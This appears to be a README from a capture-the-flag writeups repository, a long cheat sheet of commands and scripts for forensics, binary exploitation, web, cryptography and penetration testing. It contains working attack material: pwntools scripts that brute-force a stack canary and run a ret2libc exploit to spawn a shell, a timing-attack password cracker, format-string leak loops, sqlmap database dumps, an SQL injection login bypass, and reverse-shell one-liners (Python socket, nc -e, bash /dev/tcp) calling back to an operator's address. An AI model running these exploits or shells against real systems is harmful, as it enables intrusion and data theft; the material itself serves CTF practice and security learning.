
CTF Cheat Sheet + Writeups / Files for some of the Security CTFs that I've done
Writeups / Files for some of the Cyber CTFs that I've done
I've also included a list of CTF resources as well as a comprehensive cheat sheet covering tons of common CTF challenges
[!NOTE] There is now a web mirror of this repo at hackback.zip
Here are some slides I've put together: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf.file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <password list>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>Fax machine audio:
SSTV (slow-scan tv) audio (moon stuff)

Spectrogram image
Change pitch, speed, direction...
DTMF (dual tone multiple frequency) phone keys
multimon-ng -a DTMF -t wav <file.wav>
Cassette tape
Morse code
Check if something was photoshopped (look at highlights)
pngcheck
photorec <file.bin>.img file:
binwalk -M --dd=".*" <fileName>file on output and select the Linux filesystem filelosetup /dev/loop<freeLoopNumber> <fileSystemFile>tcpflow -r <file.pcap>checksec <binary>rabin2 -I <binary>binary-security-check <bin>.exeseccomp-tools dump ./<binary>readelf -s <binary>rabin2 -z <binary>python -c "import pwn; print(pwn.p32(<intAddr>))python -c "import pwn; print(pwn.p64(<intAddr>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>process.interactive()pwn cyclic <numChars> to generate payloaddmesg | tail | grep segfault to see where error waspwn cyclic -l 0x<errorLocation> to see random offset to control instruction pointerROPgadget --ropchain --binary <binary>
Finding the stack canary in a debugger
gs, or fs (for 32 and 64 bit respectively)
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
rax at offset +8.
i r rax) to see what the current canary isStatic Canaries
Extra
When a stack canary is improperly overwritten, it will cause a call to __stack_chk_fail
The canary is stored in the TLS structure of the current stack and is initialized by security_init
Simple script to bruteforce a static 4 byte canary:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
%1$s - This will print the first value in the stack (from what I understand, the one right next to your buffer) as a string.%2$s - This will print the 2nd value as a string, and you get the ideafor i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx leaks 1 byte (half of half of int size)%hx leaks 2 bytes (half of int size)%x leaks 4 bytes (int size)%lx leaks 8 bytes (long size)We will overwrite the EIP to call the system() library function and we will also pass what it should execute, in this example a buffer with "/bin/sh"
Good explanation:
Good example (go to 3:22:44):
Get address for execve("/bin/sh")
one_gadget <libc file>If you already know the libc file and a location (ie. dont have to leak them...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}')
e = ELF(f'./{binaryName}')
l = ELF(libc_loc)
# get the address of printf from the binary output
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
# get the address of printf from libc
printf_libc = l.sym['printf']
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A"*offset
payload += p64(libc_base_address + libc_execve_address)
# send the payload
p.sendline(payload)
# enter in interactive so we can use the shell created from our execve payload
p.interactive()
Cool Guide: https://opensource.com/article/20/4/linux-binary-analysis
apktool d *.apkstrings on steroids. Uses static analysis to find and calculate stringshttps://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
grep <string> and gef will automatically show you the string that matches your search patternwpscan --url <site> --plugins-detection mixed -e with an api key for best resultsecho <token> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <url>ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs to filter sizes#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open(cipherText) as fin:
cipher = fin.readline().rstrip()
with open(plainText) as fin:
plain = fin.readline().rstrip()
with open(flagCipherText) as fin:
flag = fin.readline().rstrip()
with open(tableFile) as fin:
table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i, c in enumerate(plain[0:100]):
col = table[0].index(c)
for row in range(len(table)):
if table[row][col] == cipher[i]:
key += table[row][0]
break
print(key)
dec_flag = ""
for i, c in enumerate(flag[:-1]):
col = table[0].index(key[i])
for row in range(len(table)):
if table[row][col] == flag[i]:
dec_flag += table[row][0]
break
print(dec_flag)
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
Use this when you can factor the number n
Old
def egcd(a, b):
if a == 0:
return (b, 0, 1)
g, y, x = egcd(b%a,a)
return (g, x - (b//a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('No modular inverse')
return x%m
p =
q =
e =
c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
# print(d)
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x)
print(bytes.fromhex(thing).decode('ascii'))
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
from Crypto.Util.number import *
def nth_root(radicand, index):
lo = 1
hi = radicand
while hi - lo > 1:
mid = (lo + hi) // 2
if mid ** index > radicand:
hi = mid
else:
lo = mid
if lo ** index == radicand:
return lo
elif hi ** index == radicand:
return hi
else:
return -1
c =
e =
plaintext = long_to_bytes(nth_root(c, e))
print(plaintext.decode("UTF-8"))
p-1 | B! and q - 1 has a factor > Bfrom Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
from Crypto.Util.number import *
import owiener
n =
e =
c =
d = owiener.attack(e, n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
https://github.com/mufeedvh/basecrack
ssh <username>@<ip>ssh <username>@<ip> -i <private key file>sshfs -p <port> <user>@<ip>: <mount_directory>ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>nc <ip> <port>Machine discovery
netdiscoverMachine port scanning
nmap -sC -sV <ip>Linux enumeration
enum4linux <ip>SMB enumeration
smbmap -H <ip>Connect to SMB share
smbclient //<ip>/<share>./linpeas.shsudo -lfind / -perm -u=s -type f 2>/dev/nullaccesschk.exe -uwcqv *sc qc <service name>nc -lnvp <port>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'nc -e /bin/sh <ip> <port>bash -i >& /dev/tcp/<ip>/<port> 0>&1python -c 'import pty;pty.spawn("/bin/bash");'CTRL+Z and run stty raw -echo locallyfg (and the job id afterward if needed)export TERM=xterm (this might not be necessary)export SHELL=bash (this might not be necessary)rlwrap on your systemrlwrap in frontrlwrap nc -lvnp 1337
Resolving DNS Errors
dig <site> <recordType>Run a binary as a different architecture
linux64 ./<binary>linux32 ./<binary>Extract MS Macros:
View CNC GCode
ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>
'OR 1=1-- in login formSELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''1=1 evaluates to true, which satisfies the OR statement, and the rest of the query is commented out by the --__import__.('subprocess').getoutput('<command>')
__import__.('subprocess').getoutput('ls').split('\\n')